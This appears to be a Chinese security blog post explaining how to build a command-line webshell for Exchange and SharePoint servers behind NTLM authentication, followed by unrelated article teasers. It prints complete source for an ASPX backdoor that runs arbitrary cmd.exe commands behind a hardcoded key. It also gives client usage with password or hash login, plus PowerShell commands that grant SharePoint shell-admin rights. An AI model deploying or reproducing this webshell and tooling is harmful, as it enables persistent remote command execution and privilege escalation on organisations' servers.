0x00 前言
在某些环境下,访问Web服务器的资源需要通过NTLM Over HTTP协议进行NTLM认证,而我们在这样的Web服务器使用Webshell时,不仅需要考虑NTLM认证的实现,还需要满足能够在命令行下使用。
本文仅在技术研究的角度介绍一种实现方法,开源代码,分享脚本开发细节。
0x01 简介
本文将要介绍以下内容:
0x02 设计思路
通过NTLM Over HTTP协议进行NTLM认证的Web服务器有很多,这里分别以Exchange和SharePoint为例
(1)Exchange测试环境
文件保存的绝对路径:
- C:\Program Files\Microsoft\Exchange Server\V15\ClientAccess\Autodiscover\test.aspx
对应的URL为:
- https://URL/Autodiscover/test.aspx
(2)SharePoint测试环境
文件保存的绝对路径:
- C:\Program Files\Common Files\microsoft shared\Web Server Extensions\15\TEMPLATE\LAYOUTS\test.aspx
对应的URL为:
- http://URL/_layouts/15/test.aspx
访问test.aspx时均需要通过NTLM Over HTTP协议进行NTLM认证
这里以一个支持cmd命令的webshell为例进行测试,webshell的地址为:
https://github.com/tennc/webshell/blob/master/aspx/asp.net-backdoors/cmdexec.aspx
如下图
这个webshell需要通过浏览器进行操作,首先完成NTLM认证,接着填入正确的Auth Key和要执行的cmd命令。
我们的目标是满足能够在命令行下使用,可以以此为模板进行修改,设计思路如下:
(1)execCmd.aspx
接收Form表单请求作为参数,对Auth Key进行验证
如果验证失败,返回空结果
如果验证成功,执行传入的cmd命令并返回执行结果
(2)aspxCmdNTLM.py
命令行脚本
首先通过NTLM Over HTTP协议完成NTLM认证,这里需要支持明文和用户口令hash两种登录方式。
通过Form表单请求发送Auth Key和要执行的cmd命令,接收cmd命令的执行结果。
execCmd.aspx和aspxCmdNTLM.py的通信内容作Base64编码,在程序实现上需要考虑Base64编码和解码。
0x03 脚本开发细节
1.execCmd.aspx
使用Page_Load方法接收Form表单请求,其中data1用作Auth Key,data2用作cmd命令。
Base64编码的实现:
- byte[] enbytes = Encoding.Default.GetBytes(string1);string string2 = Convert.ToBase64String(enbytes);
Base64解码的实现:
- byte[] outbyte = Convert.FromBase64String(string1);string string2 = Encoding.Default.GetString(outbyte);
完整的实现代码如下:
- < %@ Page Language="C#"% >< %@ Import namespace="System.Diagnostics"% >< %@ Import Namespace="System.IO"% >< script runat="server" >private const string AUTHKEY = "UGFzc3dvcmQxMjM0NTY3ODk";protected void Page_Load(object sender, EventArgs e) {string data1 = Request.Form["data1"];if (data1 != AUTHKEY){return;}string data2 = Request.Form["data2"];byte[] outbyte = Convert.FromBase64String(data2);string payload = Encoding.Default.GetString(outbyte);string outstr1 = ExecuteCommand(payload);byte[] enbytes = Encoding.Default.GetBytes(outstr1);string outstr2 = Convert.ToBase64String(enbytes);Response.Write(outstr2);}private string ExecuteCommand(string command) {try{ProcessStartInfo processStartInfo = new ProcessStartInfo();processStartInfo.FileName = "cmd.exe";processStartInfo.Arguments = "/c " + command;processStartInfo.RedirectStandardOutput = true;processStartInfo.UseShellExecute = false;Process process = Process.Start(processStartInfo);using (StreamReader streamReader = process.StandardOutput){string ret = streamReader.ReadToEnd();return ret;}}catch (Exception ex){return ex.ToString();}}< /script >
2.aspxCmdNTLM.py
NTLM认证的实现可以参考之前的代码:
https://github.com/3gstudent/Homework-of-Python/blob/master/checkEWS.py
完整的代码已上传至github,地址如下:
https://github.com/3gstudent/Homework-of-Python/blob/master/aspxCmdNTLM.py
如下图
可以直接调用Exchange PowerShell
命令示例:
- python aspxCmdNTLM.py 192.168.1.1 443 https://192.168.1.1/Autodiscover/execCmd.aspx plaintext test.com user1 Password123! "powershell -c \"Add-PSSnapin Microsoft.Exchange.Management.PowerShell.SnapIn;;Get-MailboxServer\""
结果如下图
对于SharePoint服务器,对应的Webshell权限为用户权限
如下图
可以尝试调用SharePointServer PowerShell
命令示例:
- python aspxCmdNTLM.py 192.168.1.1 443 https://192.168.1.1/Autodiscover/execCmd.aspx plaintext test.com user1 Password123! "powershell -c \"Add-PSSnapin Microsoft.SharePoint.PowerShell;Get-SPSite\""
这里需要注意,用户需要配置为能够访问数据库才能够执行SharePointServer PowerShell命令
查看可访问数据库的用户列表对应的Powershell命令如下:
- Add-PSSnapin Microsoft.SharePoint.PowerShell;Get-SPShellAdmin
添加指定用户访问数据库权限对应的Powershell命令如下:
- Add-PSSnapin Microsoft.SharePoint.PowerShell;Add-SPShellAdmin Domain\User1
删除指定用户访问数据库权限对应的Powershell命令如下:
- Add-PSSnapin Microsoft.SharePoint.PowerShell;Remove-SPShellAdmin Domain\User1 -Confirm:$false
正常的结果如下图
0x04 小结
本文以Exchange和SharePoint为例,介绍了支持NTLM Over HTTP协议的Webshell实现思路,开源代码,分享脚本开发细节。
本文为 3gstudent 原创稿件,授权嘶吼独家发布,如若转载,请注明原文地址。
详解Spring Controller autowired Request变量 spring的DI大家比较熟悉了,对于...
多年以后,面对台下五彩斑斓的Jetbrain和Vscode用户,这位曾经的资深的vim追随者...
1 概述 在接下来的时间里,将会入手ASP.NET MVC这一专题,尽量用最快的时间,最...
大家好我是爱景甜的网工我是一个思科出身专注于华为的网工 好了话不多说进入正题...
git clone支持https和git(即ssh)两种方式下载源码: 当使用git方式下载时,如...
最近在学习jQuery时接触到了show()、hide()、toggle()函数,于是利用这几个函数...
一个常见的场景,获取:标签背景图片链接: 如字符串:var bgImg = "url (\" htt...
在新的MySQL 8.0.23中,引入了新的有趣功能:不可见列。 这是第一篇关于这个新功...
需要注意的是,调用的封装的数据库,和jQuery的保存地址 一、注册 (1)写文本框...
在Asp.net Core之前所有的Action返回值都是ActionResult,Json(),File()等方法返...